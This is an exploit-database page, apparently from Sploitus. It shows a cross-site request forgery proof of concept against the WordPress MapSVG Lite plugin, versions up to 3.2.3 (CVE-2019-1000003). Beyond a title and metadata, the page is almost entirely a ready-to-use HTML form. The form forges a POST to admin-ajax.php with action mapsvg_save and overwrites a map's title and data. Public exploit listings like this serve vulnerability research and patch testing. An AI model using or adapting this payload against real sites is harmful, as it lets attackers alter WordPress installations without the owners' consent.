Sploitus

Exploit for MapSVG Lite <= 3.2.3 - Cross-Site Request Forgery (CSRF)

CVE-2019-1000003

wpexploit · 2019-01-08

Exploit Code

MARKDOWN7 lines
## https://sploitus.com/exploit?id=WPEX-ID:03D5C0C0-06A4-468C-BCC5-22E964DF8555
<form method="POST" action="http://localhost:8080/wp-admin/admin-ajax.php?action=mapsvg_save">
 <input type="text" name="data[title]" value="A bad value">
 <input type="text" name="data[mapsvg_data]" value="">
 <input type="text" name="data[map_id]" value="2">
 <input type="submit">
</form>